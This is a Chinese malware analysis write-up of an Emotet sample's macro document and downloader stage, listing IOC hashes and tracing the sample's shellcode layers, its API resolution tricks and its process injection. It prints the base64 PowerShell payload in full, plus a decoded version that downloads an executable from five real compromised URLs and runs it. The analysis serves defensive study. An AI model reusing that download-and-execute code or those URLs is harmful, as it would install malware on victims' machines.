Emotet银行木马首次发现是在2014年6月份,其主要通过垃圾邮件的方式进行传播感染目标用户,变种极多。这次获取的样本分为三个阶段,宏文档——>下载器——>窃密程序,由于篇幅和最后的窃密程序还没分析完的原因,这里只给出前两个阶段的分析文章,最后的窃密程序在写完后会以(二)的形式同样在奇安信攻防社区发布。
0x00 前言:
Emotet银行木马首次发现是在2014年6月份,其主要通过垃圾邮件的方式进行传播感染目标用户,变种极多。
这次获取的样本分为三个阶段,宏文档——>下载器——>窃密程序,由于篇幅和最后的窃密程序还没分析完的原因,这里只给出前两个阶段的分析文章,最后的窃密程序在写完后会以(二)的形式同样在奇安信攻防社区发布。
0x01 样本分析:
样本运行流程:
恶意宏文档:
IOC:
HASH | 值 |
---|---|
SHA256 | 1c3afd309d4861152d2c543ca46a7bb052901bdfd990b5c07e1cab509aab9272 |
MD5 | d80d1322b4be9f19cb8efa7ecada7351 |
SHA1 | be9efb37ebba29888e1e6451cc6294bde8c30d04 |
沙箱分析链接:
起始行为分析:
打开文档,文档中内容诱惑用户启动宏。
查看宏代码:
进入VBA中查看宏代码:
提取并解密 powershell 代码:
通过解密后的代码可以看到该 pwershell 会遍历预定的四个网址列表下载恶意程序并重命名为 296.exe,然后启动进程来执行。
JABTAG8AbgBsAGYAbQB4AGYAZwBsAGcAPQAnAFgAeQB5AHMAbgBrAGkAdQB5AHgAbwAnADsAJABFAGMAegBhAGQAeAB2AGUAYwAgAD0AIAAnADIAOQA2ACcAOwAkAFoAegByAHIAegBlAGIAeQBzAGUAPQAnAFYAcAB5AGIAeAB4AHAAbQBkAGUAeQBkAHEAJwA7ACQATQB3AGIAZwBvAHIAaAByAHkAZgBoAG4AZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBjAHoAYQBkAHgAdgBlAGMAKwAnAC4AZQB4AGUAJwA7ACQAUwB1AHIAegBkAHgAZAB5AGcAcAB0AGgAPQAnAFkAZgB1AGYAbgBwAHMAdwB4AHoAJwA7ACQATAB2AGIAbwBqAG8AbAB4AHYAeABtAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAEUAdAAuAHcARQBiAGMAbABJAGUATgBUADsAJABGAHYAbwB2AGEAZABzAGgAaAB0AGIAbwA9ACcAaAB0AHQAcAA6AC8ALwBhAGQAeQBrAHUAcgBuAGkAYQB3AGEAbgAuAGMAbwBtAC8AbQBwADMALwAxADgAbwB4ADYAaAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAcABoAGEAbQB0AGgAYQBuAGgAYgBpAG4AaAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAEQAcQAvACoAaAB0AHQAcAA6AC8ALwBzAGYAbQBhAGMALgBiAGkAegAvAGMAYQBsAGUAbgBkAGEAcgAvAEsAMQBhAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBqAG0AZQBjAGgAYQBuAGkAYwBhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGQAZAB5AC8AKgBoAHQAdABwADoALwAvAG0AbwBqAGUAaABhAGYAdABvAG0ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADEAMwA3ADQAeAB2AC8AJwAuACIAcwBgAHAATABpAHQAIgAoACcAKgAnACkAOwAkAFYAZwB1AGIAbgBiAGgAbABpAGUAYgBlAD0AJwBTAHIAcwBtAGQAcQBpAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFEAdABzAHcAegBnAGYAcwBrAGkAagAgAGkAbgAgACQARgB2AG8AdgBhAGQAcwBoAGgAdABiAG8AKQB7AHQAcgB5AHsAJABMAHYAYgBvAGoAbwBsAHgAdgB4AG0ALgAiAEQAYABvAHcAbgBsAGAAbwBhAGAAZABmAEkATABFACIAKAAkAFEAdABzAHcAegBnAGYAcwBrAGkAagAsACAAJABNAHcAYgBnAG8AcgBoAHIAeQBmAGgAbgBlACkAOwAkAEQAeQBjAGMAYQB3AHcAcgBqAG0AYgB3AGUAPQAnAFMAegB2AGQAdQBlAHAAdwAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAE0AdwBiAGcAbwByAGgAcgB5AGYAaABuAGUAKQAuACIAbABlAGAATgBnAHQASAAiACAALQBnAGUAIAAyADkAMQA3ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGAAQQByAHQAIgAoACQATQB3AGIAZwBvAHIAaAByAHkAZgBoAG4AZQApADsAJABEAGwAdwB6AGoAdgBiAHYAPQAnAFkAZgBsAG0AaABqAHYAdwBhAHYAbQAnADsAYgByAGUAYQBrADsAJABMAHEAbQB4AGoAdQBuAGMAcgBmAD0AJwBMAHYAagBjAGcAdgBpAGgAbAB1AHUAawAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABWAHUAegBsAGIAbwBxAGEAawBqAHcAPQAnAEIAagBuAGgAegBtAHQAdgBuAGwAdQB0ACcA
$Sonlfmxfglg='Xyysnkiuyxo';
$Eczadxvec = '296';$Zzrrzebyse='Vpybxxpmdeydq';
$Mwbgorhryfhne=$env:userprofile+'\'+$Eczadxvec+'.exe';
$Surzdxdygpth='Yfufnpswxz';
$Lvbojolxvxm=.('new-ob'+'j'+'ect') NEt.wEbclIeNT;$Fvovadshhtbo='http://adykurniawan.com/mp3/18ox6h/*http://myphamthanhbinh.net/wp-content/uploads/qDq/*http://sfmac.biz/calendar/K1a/*http://www.mjmechanical.com/wp-includes/ddy/*http://mojehaftom.com/wp-admin/1374xv/'."s`pLit"('*');
$Vgubnbhliebe='Srsmdqia';
foreach($Qtswzgfskij in $Fvovadshhtbo)
{
try
{
$Lvbojolxvxm."D`ownl`oa`dfILE"($Qtswzgfskij, $Mwbgorhryfhne);
$Dyccawwrjmbwe='Szvduepw';
If ((&('G'+'et'+'-Item') $Mwbgorhryfhne)."le`NgtH" -ge 29177) {
[Diagnostics.Process]::"St`Art"($Mwbgorhryfhne);
$Dlwzjvbv='Yflmhjvwavm';
break;
$Lqmxjuncrf='Lvjcgvihluuk'
}
}
catch{
}
}
$Vuzlboqakjw='Bjnhzmtvnlut'
恶意 Downloader:
IOC:
hash | 值 |
---|---|
MD5 | 0f973d998083c92b8863f62ae6a93ac0 |
SHA256 | be403ce2d14f38b66528d438457927218f1aa44a68530bf46b2703da75dcc8bd |
SHA1 | d27590b402b475ae11a93f2976c2de595ab1eac9 |
SHA512 | 04711f777ad181eca49afc9314438d492fa5a46b0ddbe1c4001b27bede07ad732806603a56ee320249e379c9af0865ddbf65d51e09e8ede9d06ff13668379a52 |
沙箱分析链接:
起始行为分析:
样本一上来先进行注册表操作,打开关闭以下注册表项,也许是干扰行为分析:
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
动态获取 export_function 手法一:get_funbase
这里配合上面 LoadLibraryW 函数加载的 CRYPT32.DLL 动态获取导出函数以供后续使用,具体手法我后面会分析:
动态获取 dll_base 手法一:get_dllbase
同样的大量动态获取所需函数地址,get_funbase 和前面那个是一样的,不同的是这里获取 DLL 基址也是动态获取的,这里命名为 get_dllbase,具体手法也会在后面一起分析。
抽取资源中恶意代码进行投放
获取紧接着调用上面动态获取到的函数,获取 SPOOFER 资源中嵌入的加密恶意代码,这里是执行了投放器的功能。
紧接着是大量但是简单的 SendMessage 干扰混淆代码:
申请内存空间,填充第一层和第二层 shellcode
锁定线程,开辟空间,填充前面从资源处释放的未解密恶意代码和解密用的数据,解密得到第一层 shellcode
异或解密代码原理分析:
第一层 ShellCode 分析
加载 CryptoAPI 加密相关函数
动态获取手法二:get_funbase2 和 load_dll
代码先获取 ADVAPI32.DLL 中加密相关的 CryptAPI 函数,这里也用到了动态加载 DLL 和动态获取导出函数 load_dll 和 get_funbase2,因为获取手段不一样,所以我们和前面的手法一区分开来,具体行为也在后面分析。
干扰代码——空加密
前面加载了一些 ADVAPI32.DLL 的 CryptoAPI 加密函数,但是后面进行了空数据加密来干扰分析:
第二层 ShellCode 分析
动态获取手法三:get_funbase3
第二层 shellcode 用特定函数名的 hash 搭配动态获取函数获取需要其函数地址:
申请内存空间,填充第三层 ShellCode
然后利用这些函数进行获取计算机信息、申请页面空间并修改其访问权限、清除指令缓存等操作,其中申请的内存空间为第三层 ShellCode 空间,并向里面填充好了数据代码。
进入第三块申请的内存中
预定义函数 Hash
第三块内存一开始就把一大堆由函数名计算的 HASH 存放起来用于后面动态获取,能很好地干扰杀毒软件分析。
动态获取手法四:match_hash_funaddress 和 get_dllbase4
第三层 shellcode 用特定函数名的 hash 搭配动态获取函数获取需要其函数地址并压入对应地址空间中以备后续使用。
对比命令行参数
黄框是上面动态获取特定 DLL 和其内特定 HASH 匹配的函数地址,分别调用了两次用于获取 ntdll.dll 和 kernel32.dll 对应的 hash 函数地址。
然后调用这些函数地址获取当前进程路径和命令行信息,并与预定义参数进行对比,如果对比不上就启动带有预定义参数的进程并退出当前进程。
设立对应参数后继续跟踪
检索当前目录信息
计算目标系统目录并复制文件
车给你需先计算文件 CRC,然后检索系统信息并计算生成对应系统目标目录,接着把文件复制到指定目录下并重命名为deployacquire.exe 来干扰用户和杀软判断,最后删除当前文件。
复制到系统目录后继续跟踪
连接恶意链接
写入文件并启动进程
上面那幅图是总览,跟进去后调用的函数如下:
动态获取手法分析
动态获取 dll 和函数地址手法一
get_funbase
在《Windows PE权威指南》第 161 的根据名字查找函数地址的行为一样。
步骤1 定位到 PE 头。
步骤2 从 PE 文件头中找到数据目录表,表项的第一个双字值是导出表的起始 RVA。
步骤3 从导出表中获取 NumberOfNames 字段的值,以便构造一个循环,根据此值确定循环的次数。
步骤4 从 AddressOfNames 字段指向的函数名称数组的第一项开始,与给定的函数名字进行匹配; 如果匹配成功,则记录从 AddressOfNames 开始的索引号。
步骤5 通过索引号再去检索 AddressOfNameOrdinals 数组,从同样索引的位置映射找到函数的地址(AddressOfFunctions)索引。
步骤6 通过查询 AddressOfFunctions 指定函数地址索引位置的值,找到虚拟地址。
步骤7 将虚拟地址加上该动态链接库在被导入到地址空间的基地址,即为函数的真实入口地址。
get_dllbase
根据 PEB 结构特征遍历获取 DLL 基址,并调用大写转换函数来匹配 DLL 名字。
遍历 PEB 的原理,此图引用自:PEB结构:获取模块kernel32基址
动态获取 dll 和函数地址手法二
get_funbase2
这次手法与上次不同的是,他把 get_dllbase 和 get_funbase 功能合在了一起,传入的参数是一个函数名字符串。该函数先遍历 PEB 结构的 InLoadOrderModuleList 模块获取 DLL 基址,然后再以遍历中的 DLL 基址内嵌一层按照函数名遍历导出表寻找导出函数的循环,以此来传入的需要的函数名字符串的地址。
load_dll
这里其实只是简单地调用函数加载对应的 dll 而已,并不是动态获取,主要逻辑都在上面 get_funbase2 中。
其中 LdrLoadDLL 函数参数参考:ldrloaddll的参数问题
动态获取函数地址手法三
get_funbase3
动态获取 dll 和函数地址手法四
match_hash_funaddress
跟着注释走吧~
get_dllbase4
动态获取手法总结
该样本用了四种不同的动态获取方式,其大致可分成两类:
第一类直接通过 PEB 结构动态获取导出函数地址。
第二类给出特定 HASH ,在动态获取函数地址中同时计算其 HASH 值来匹配
显然第二种目的性更强,干扰性和迷惑性也更大。
0x02 恶意样本总体分析
从火绒实验室的 层层对抗安全软件 火绒对Emotet僵尸网络深度分析 中我们可以对比出此次 downloader 混淆器是 Emotet 家族的第二阶段,利用的是多层shellcode注入加载 + 环境检测。
这个阶段的混淆器总共有3层,外层的MFC混淆器解密执行第二层shellcode, 第二层shellcode解密执行第三层shellcode,第三层shellcode检测执行环境(检测虚拟机,沙箱,关闭微软防火墙服务等)并将最终的PE以创建新进程注入的方式加载执行。
0x03 最后
这是我分析的第一个 APT 家族的样本,因为技术不够,所以其实很多行为没有分析出来,像互斥体、卷影、堆行为、控制流平坦化这些。很多代码执行和数据等都有前因后果的,但是同样的原因可能忽视掉了。
其实在大量的无效代码和混淆代码下我都不知道哪些数据处理是有用哪些是没用的了,一开始的时候我慢慢分析的时候能梳理一二,到了后面发现程序很大很大,调了好久好久,调到真的乱了,就。。。。。
紧接着恶意 downloader 还下载了一个窃密程序,由于篇幅和时间原因暂时没放上来,等我分析完后同样会在奇安信攻防社区中以第二篇展示出来。
上面分析中如有错误还请指正。
0x04 参考
[原创]层层对抗安全软件 火绒对Emotet僵尸网络深度分析-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
[原创]PEB结构:获取模块kernel32基址技术及原理分析-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
新变种Emotet恶意样本分析_PwnGuo的博客-CSDN博客_emotet样本分析
EMOTET深度分析 - 先知社区 (aliyun.com)
Emotet银行木马分析_Iam0x17的博客-CSDN博客_emotet木马
[原创]Emotet病毒分析-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
- 本文作者: 沐一·林
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1777
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!